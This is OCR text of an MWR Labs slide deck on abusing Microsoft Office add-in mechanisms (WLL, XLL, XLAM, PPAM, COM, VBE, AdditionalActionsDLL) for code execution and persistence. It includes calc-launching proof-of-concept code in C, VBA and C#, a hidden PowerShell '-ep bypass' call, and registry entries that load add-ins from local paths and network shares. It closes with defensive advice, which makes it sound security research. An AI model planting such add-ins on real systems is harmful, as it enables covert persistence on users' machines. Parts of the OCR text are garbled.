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Abusing Extensibility Options
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Urgh, Microsoft Office .. why? LABS

 [t’s —everywhere- and it’s got lots of use cases

« Office templates? What else?

Trust Center

Trusted Publishers
| Trusted Locations
Trusted Locations

Warning: All these locations are treated as trusted sources for opening files. If you change or add a location, make sure that the new location is secure,
Trusted Documents L
Description

Trusted App Catalogs User Locations

ChlUsers\lowpriv\AppDatat Roaming Microsoft\ Templates!, Word 2015 default location: User Templates
CA\Program Files\Microsoft Office\Templates\, Word 2013 default location: Application Templates
ActiveX Settin gs LiUsershlowpriviAppliatat RoamingiMicrosort\ Wordh startup', word ZUL> derault location: startUp

Add-ins
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PUBLIC

Urgh, Microsoft Office .. why? LABS

 [t’s —everywhere- and it’s got lots of use cases

« Office templates? What else?

Trust Cel Trust Center

Trust Trusted Publishers
Trusted Locations
Trust Trusted Locations
Warning: All these locations are treated as trusted sources for opening files. If you change or add a location, make sure that the new loc:
Trust Trusted Documents ipti
ed L'ocumen Path Description

Trust Trusted App Catalogs User Locations

ChUsers\lowpriAppData\ Roaming\Microsoft\ Templates), Word 2013 default location: User Templates

Add- . .
L Add-ins

- -
-4 -4 1 = |

=f b eabian Templates
Activ ActiveX Settings I ChUsers\lowprvi AppDatat\Roeaming\Microsoft\Word\Startup', Word 2013 default location: StartUp

& MWR 3
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MWR

WLL? word .. Linked Libraries? LABS

 |t’s just a DLL ...

« “ .. are standard Windows DLLs that implement and export specific functions
to extend Word functionality”

« “ .. no enhancements and no documentation updates to Word WLLSs since
Microsoft Office 97"

I MWR
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WLLS ain’t nothin’ but vanilla DLLs “ERI‘BS

1 #include "stdafx.h™
2
3 BOOL APIENTRY DllMain(HMODULE hModule,
= DWORD  ul reason for call,
5 LPVOID lpReserved
5
71
8 switch (ul_reason _for call)
g9
1@ —ase DLL_PROCESS ATTACH:
11 STARTUPINFO si;
12 PROCESS INFORMATION pij;
13 ZeroMemory(&si, sizeof(si});
14 si.cb = sizeof(s1i);
15 ZeroMemory(&pl, sizecf(pi});
16 CreateProcess{TEXT("C:\\windows\\system32\\calc.exe™), WULL, NULL, NULL, FALSE, CREATE_NEW CONSOLE, NULL, NULL, &si, &pi);
17 ~ase DLL_THREAD ATTACH:
18 ~ase DLL_THREAD DETACH:
19 ~ase DLL PROCESS DETACH:
2 reak:
21 1
22 =turn TRUE:
23}

S MWR 5
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word .. Linked Libraries? “ERPBS

e |s it active? No.

Inactive Application Add-ins

Customize Ribbon

Quick Access Toolbar ‘ lncon sp icuousWLLAddInawll o LAddIinawll Word Add-in

k. ot ] o S R L | . ] o - L L i Sl LT = LI L k =

Microsoft Visual Studio 2008 Teools for Office Design-Time Adaptor for Word 2007 CALLT7Adaptordll  COM Add-in

Add-Ins

S MWR 6
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MWR

Excel (XLL?) too .. LABS

« Considerably more updated ...
* You need to export the right functions.

 Does an XLL really need to be *.xl|?

S MWR 7



It’s li1ke VBA’s Auto_Open() but not ..

I MWR
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#ginclude "stdatx.h™

BOOL APIENTRY DllMain({HMODULE hModule,
DWORD ul reason_for call,
LPVOID lpReserved

PUBLIC

LABS

CreateProcess(TEXT("C:\\windows\\system32\\calc.exe™), NULL, NULL, MWULL, FALSE, CREATE NEW CONSOLE, NULL, MNULL, &si, &pi);

)
{
switch (ul_reason_for call)
~ase DLL _PROCESS ATTACH:
=2 DLL_THREAD ATTACH:
52 DLL _THREAD DETACH:
aze DLL _PROCESS DETACH:
yreak:
¥
~eturn TRUE;
¥
#define DllExport  declspec( dllexport )
=xtern "C" DllExport wvoid xlAutoOpen() {
STARTUPINFO si;
PROCESS INFORMATION pi;
ZeroMemory (&si, sizeof(si));
ci.chb = sizeof(si);
ZeroMemory(&pi, sizecT(pl));
¥



&

¥

PS C:\Users\lowpriv> $env:USERNAME
lowpriv
PS C:\Users\lowpriv> net user lowpriv | select-string Group

Local Group Memberships *Users
Global Group memberships *None

PS C:\Users\lowpriv>
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MWR

AdditionalActionsDLL LABS

« Only for Word with 2013/2016 Professional Plus.
« “AdditionalActionsDLL" is a property containing a path at:
HKEY_CURRENT_USER\Software\Microsoft\Office\ <Version>\Common

m Registry Editor

! File Edit View Favorites Help
T Data

ab|(Default value not set

ﬂ_bxlAdditionaIActionsDLL C:\Users\lowpriv\Desktop\InconspicuousDLL.dII
It;VEITI ePointeriViode REG_DWORD UxULULLOLUU

# QMEnable REG_DWORD 0x00000001 (1)

£/ QMINFN REG_DWORD 0x00000016 (22)

S MWR 10
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Excel VBA add-1ns

I B save As

< AppData » Roaming » Microsoft » Excel » XLSTART Search XLSTART

Organize ~ New folder

« *xla // *.xlam - it’s all VBA, no 1
spreadsheets.

m Desktop No items match your search.

3 Downloads

' File name:  InconspicuousXLAMAddIn.xlam

o - _XIS // *_XISm // *_XISb Save as type: |Excel Add-In (*.xlam)

Authors: Excel Workbook (*.xIsx)
"|Excel Macro-Enabled Workbook (*.xlsm)
Excel Binary Workbook (*.xIsb)

e ... // does it matter? el 972003 Workbook (49

~ Hide Folders Single File Web Page (*.mht;*.mhtml)
Web Page (*.htm;*.html)
Excel Template (*.xltx)
Excel Macro-Enabled Template (*.xltm)
Excel 97-2003 Template (*.xlt)
Text (Tab delimited) (*.txt)

File Edit View Insert Format Debug Run Tools Add-lns Window Help Unicode Text (*.txt)

ﬁ Microsoft Visual Basic for Applications - Book

El= BA Y bon B EEFYE @ ngcos
Project - VBAProject & ’

= Book1 - Module1 (Code)
B8 ~
= &3 VBAProject (Book1)

(General) v~ | |Auto_Open

Sub Auto Open|()

=423 Microsoft Excel Objects Set oShell = CreateObject ("WScript.Shell™)
H] Sheet1 (Sheetl) oShell.Run "calc.exe"

3% ThisWorkbook Sub
=) #3 Modules
2% Modulel

I MWR

XML Spreadsheet 2003 (*.xml)
Microsoft Excel 5.0/95 Workbook (*.xls)
CSV (Comma delimited) (*.csv)
Formatted Text (Space delimited) (*.prn)
Text (Macintosh) (*.txt)

Text (MS-DOS) (*.txt)

CSV (Macintosh) (*.csv)

CSV (MS-DOS) (*.csv)

DIF (Data Interchange Format) (*.dif)

*

Excel Add-In (*.xlam)
Excel 97-2003 Add-In (*.xla)

XPS Document (*.xps)

Strict Open XML Spreadsheet (*.xlsx)
OpenDocument Spreadsheet (*.ods)

11
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MWR

User defined Tlocations with XLL/XLA/XLAM LABS

« Does it even need to be in a Trusted Location?

HKEY_CURRENT_USER\Software\Microsoft\Office\ <Version>\Excel\Options

ﬁ F’-Egistr_-,-' Editor

File Edit WView Favorites

Type Data
ab| (Default) REG_S5Z (value not set)
ab| DecimalSeparator REG_SZ
wo| DefaultSheetR2L  REG_DWORD 000000000 (0]
' 'Ei IWIIED

ab| OPEM

— R MChAUsershlowpri Desktop' X LLAddIn.xII"

. ., Recent Templa I SR

S MWR 12



& Registry Editor o || @[]

File Edit View Favorites Help >
Lo 4. 150 “ || Name Type Data
D Aocess ab) (Default) REG_SZ (value not set) : etw e
) ' Exoc::mon ab] DecimalSeparator REG_SZ . -
; B AddintoadTires ‘,’,‘3] DefaultSheetR2L REG_DWORD 0:00000000 (0)
. File MRU | ‘.’.'AJ' FirstRun REG_DWORD 0:00000000 (0)
| Options l =] (-’1'3' MsoTbCust REG_DWORD 000000008 (8)
. Place MRU ‘-’a'&] OptionFormat REG_BINARY 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00...
' Recent Templates || #4lOptions5 REG_DWORD 0x00000080 (128)
. -l Security ‘.’.'&] OptionsDIgSizeP... REG_BINARY 48030000 ad 020000 7¢c 010000 58 000000000...
@ FirstRun ab| pos REG_SZ 200,200,1200,625
B i . Groove e ab| ThousandsSepar... REG_SZ ,
TS = i 4] UseSystemSepar... REG_DWORD 0x00000001 (1)

Computer\HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Excel\Options

'S |[@ |[=] | &Y Windows PowerShell o @ | =]
@@vl; > Network » 1921687128 » tmp v [ 45| Search tmp PRIRPS C:\Users\lowpriv> $env:USERNAME
= T — lowpriv
rganize v ew folaer R (AW ) . . .
- : PS C:\Users\lowpriv> net user lowpriv | select-string Group
Bl Desktop *  Name Date modified Type Size
Download . :
_.0 Sk g5 XLAMAddIn.xlam 8/26/2017 2:50 PM  Microsoft Excel Add-In 11 KB Local Group Member‘shlps *Users
= Recent Places A :
Global Group memberships *None
4 Libraries
_;3] Documents
@' Music = PS C:\Users\lowpriv> ipconfig | select-string IPv4
=/ Pictures
B Videos :
IPV4 AAAress. . « « « « « : 192.168.7.131

1% Computer

€ Network .| . B PS C:\Users\lowpriv>
, 1 item Offline status: Online
-~ Offline availability: Not available




PUBLIC

MWR

PowerPoint VBA add-ins LABS

» *.ppa // *.ppam // yep, doesn’'t matter

» Register at:
HKEY_CURRENT_USER\Software\Microsoft\Office\ <Version>\PowerPoint\Addins\ <AddInName>

- Security Mame

-+ AddIns a1 Mok

InconspicuocusMame e e o
' Gnsplcts - W192.168.7.128\tmph\Calc.ppam

.- 1, Registration REG_DWORD 000000001 (1)

- 1 User Settings

2 MWR »



PUBLIC

A brief i1ntroduction to COM “ERI‘BS

* [t’s a binary interface standard to facilitate component interaction.

* File extensions: *.dll, *.ocx, *.sct, ... many more

J‘ﬁ Normal - Module1 (Code)
(General) | |AutoOpen
AutoOpen ()

Set COMObj = CreateObject ("WScript.Shell")
COMOb7j.Run "powershell -C calc"
Sub

<HTML> LN Windows PowerShell

<HEAD> PS C:\> $COMob] New-0Object WScript.She
<SCRIPT language="javascript"> PS C:\> $COMob7j.Run( )
var COMobj = new ActiveXObject("WScript.Shell"); ]

COMob3j.Run("powershell -C calc");
</SCRIPT>

</HEAD>
<BODY>

</BODY>
</HTML>

S MWR 15
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Reimplementing wscript.Shell LABS

1 System;

2 System.Runtime.InteropServices;

3

4 InconspicuousCOMAddIn

5 1

B [Guid("338C(C521-2122-4182-BC5D-47C627878558" ) ]

7 [ComVisible(true)]

8 ICOMInterface

9 i

16 string RunCommand(string execProgram, string execArguments);

11 1

12

13 [Guid("B1B78605-E428-4879-BD76-81871CC42F2B" ) ]

14 [ClassInterface(ClassInterfaceType.None) ]

15 [ComVisible(true)]

16 Connect : ICOMInterface

17 I

18 string RunCommand(string execProgram, string execArguments)
19 I

26 System.Diagnostics.Process process = System.Diagnostics.Process();
21 System.Diagnostics.ProcessStartInfo startInfo = System.Diagnostics.ProcessStartInfo();
22 startInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden;
23 startInfo.FileName = execProgram;

24 startInfo.Arguments = execArguments;

25 process.5tartInfo = startInfo;

26 process.5tart();

27

28 1

29

38 1

31}

S MWR 16
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Demystifying (mystifying?) COM -
registration and resolution LABS

File Edit Format View Help

Hindows Registry Editor Version 5.6©

[HKEY_CURRENT_USER\Software\Classes\InconspicuousCOMAddIn.Connect]
@="InconspicuousCOMAddIn.Connect"”

[HKEY_CURRENT_USER\Software\Classes\InconspicuousCOMAddIn.Connect\CLSID]
@="{B1B786D5-E428-40879-BD76-01871CC42F2B}"

[HKEY_CURRENT_USER\Software\Classes\CLSID\{B1B786D5-E428-4079-BD76-018671CC42F2B}]
@="InconspicuousCOMAddIn.Connect"

[HKEY_CURRENT_USER\Software\Classes\CLSID\{B1B786D5-E428-4079-BD76-01071CC42F2B}\Implemented Categories]
[HKEY_CURRENT_USER\Software\Classes\CLSID\{B1B786D5-E428-4079-BD76-01071CC42F2B}\Implemented Categories\{62C8FE65-4EBB-45e7-B440-6E39B2CDBF29}]

[HKEY_CURRENT_USER\Software\Classes\CLSID\{B1B786D5-E428-4079-BD76-01871CC42F2B}\InprocServer32]
@="mscoree.dll"”

"Assembly"="InconspicuousCOMAddIn, Version=1.0.0.8, Culture=neutral, PublicKeyToken=null"
"Class"="InconspicuousCOMAddIn.Connect"”
"CodeBase"="file:///C:/Users/lowpriv/Desktop/InconspicuousCOMAddIn.DLL"
"RuntimeVersion"="v4.06.38319"

"ThreadingModel"="Both"

[HKEY_CURRENT_USER\Software\Classes\CLSID\{B1B786D5-E428-4879-BD76-01071CC42F2B}\Progld]
@="InconspicuousCOMAddIn.Connect"”

~MWR 17
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MWR

=calc() with Excel Automation add-1ns WAL

« Specific COM use case - for user defined functions.

« Register COM object then add-in with the "OPEN" property at:
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\ <version>\Excel\Options

ACCess ab| (Default) (value not set)

Common
0500000000 (0

Excel

File MRU /A "InconspicuousCOMAddIn.Connect”

wo| OptionFormat REG_BINARY 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00...
o Options5 REG_DWORD 0x00000080 (128)
ab Pos REG_SZ 175,175,1200,625

Options
Place MRU
Recent Templat

S MWR 19
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The manual labour of “automation” “ERI‘BS

 The problem? You actually have to call the function.

E Microsoft Visual Basic for Applications - UDF-Persistence-Demo.xlsm

File Edit View Inset Format Debug PBun Toecls Add-Ins Window Help

2- 3 0@ RIS ET @ 2 coler

Project - VBAProject

=0 1 UDF-Persistence-Demo.xlsm - ThisWorkbook (Code)

. Workbook i
=& VBAProject (UDF-Persist Workboo =

E|'|_ﬂ Microsoft Excel Objects Sub Workbook Cpen/()
| Sheetl (Sheetl) Worksheets ("Sheetl™) .Cell=s(l, 1l).Formula = "=CountCellsInRange (Al:43)"
- EI ThisWorkbook End Sub

S MWR 21
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MWR

COM add-1ns for * WAL

« Single add-in, multi application.
« The “IDTExtensibility2” interface.

« Register COM object with Windows, then register add-in with the Office
application.

HKEY_CURRENT_USER\Software\Microsoft\Office\ <Program>\Addins\ <AddInName>

Y Outlook I Type Data
4 Addins -' :

AccessAddin.DC REG_SZ Outlook Inconspicuous Addin

Colleaguelmport.Colleagquelmp

: ab|FriendlyName REG_SZ Outlook Inconspicuous Addin
InconspicuousAddin.Connect on _
— — no| LoadBehavior REG_DWORD 0x00000003 (3)

~MWR 22
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COM add-1ns for

System;
System.Runtime.InteropServices;
Extensibility;

LABS

InconspicuousCOMAddIn

[Guid("B1B786D5-E428-4879-BD76-01671CC42F2B" ) ]
[ComVisible(true)]

Connect : IDTExtensibility2
i

=
o IR e I I s T W S I SR R N i
=

(S
==

veid OnConnection{object applicotion, ext ConnectMode connectMede, object addInInst, ref Array custom)

=
Lt fd
[t |

System.Diagnostics.Process process = System.Diagnostics.Process();
System.Diagnostics.ProcessStartInfo startInfo = System.Diagnostics.ProcessStartInfo();
startInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden;

startInfo.FileName = "powershell.exe™;

startInfo.Arguments = "-ep bypass -C calc”;

process.S5tartInfo = startInfo;

process.Start();

S A e
ba = @ W00 s W
b

volid OnDisconnection(ext DisconnectMode disconnectMode, ref Array custom)

Ra B3 B P2
(o TR T Y
b iy

volid OnAddInsUpdate(ref Array custom)

TR S R
& WD 0O sl
b iy

void OnBeginShutdown(ref Array custom)

b L L
T Ay
b ey

void OnStartupComplete(ref Array custom)

NN FYRR TR FY RN BY
W0~ v AN
-
b
b iy
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MWR

Attacking VBA snoopers with VBE add-ins LABS

« Why? Why? Why?
« Register with Windows, then do the application-specific registration at:
HKEY_CURRENT_USER\Software\Microsoft\VBA\VBE\6.0\Addins\ <VBEAddIn.Name>

o, CommandLineSafe REG_DWORD

ab|Description REG_SZ An add-in that does inconspicuous things.
ab|FriendlyName REG_SZ Incons picuous VBEAddIn
REG_DWORD

~MWR 25
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Office add-1ns

PUBLIC

tabulated

LABS

Registry Arbitrary File | VDI Applicable | Admin
Edits Extensions (w/o Roaming Privileges
Targets Required Allowed Profiles) Required
WLL word NO NO Potentially # NO
XLL Excel NO 1 Yes Potentially f NoO
AdditionalActionsDLL word Yes Yes No No
XLA/XLAM/XL* Excel No Yes Potentially % NO
PPA/PPAM PowerPoint Yes Yes NO NO
Automation Excel Yes Yes No No
COM All Yes Yes No No
VBE All Yes Yes NO NO

T Registry edits can be used to bypass trusted location settings and store fi

+ Requires "StartUp" location to be on a network share.

I MWR

es in arbitrary locations
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The things I didn’t cover LABS

* Visual Studio Tools for Office (VSTO)
 Qutlook rules

« QOutlook VBProject.OTM
« HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office Test\Special\Perf

e “Other’ command line switches

... all of the other stuff requiring administrative privileges.

S MWR 28
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The future of office add-ins? LABS

e Office Web Add-Ins

source: dev.office.com

ZMWR i
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MWR

Defending against malicious add-ins (1) LABS

« Easy for the Excel /R <path>" registry edit, PPA/PPAM, Excel Automation,
COM, and VSTO add-ins:

Trusted Publishers
ru ublisher Add-ins
Trusted Locations
Require Application Add-ins to be signed by Trusted Publisher

Trusted Documents . e . S . .
Disable notification for unsigned add-ins (code will remain disabled)

Trusted App Catalogs Disable all Application Add-ins (may impair functionality)

Add-ins

HOME INSERT DESIGM PAGE LAYOUT REFEREMCES MAILINGS REVIEW

I SECURITY WARNING Some active content has been disabled. Click for more details. Enable Content

~MWR 30
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Defending against malicious add-ins (2) “EI\BS

 For WLL, XLL and Excel’s VBA add-ins (startup only) ... not so much.
* (1) Remove or relocate trusted locations.
« (2) Detective capability:

- Monitor trusted locations for changes

- Monitor registry keys used to enable add-ins.

- Process relationships.

~MWR 31
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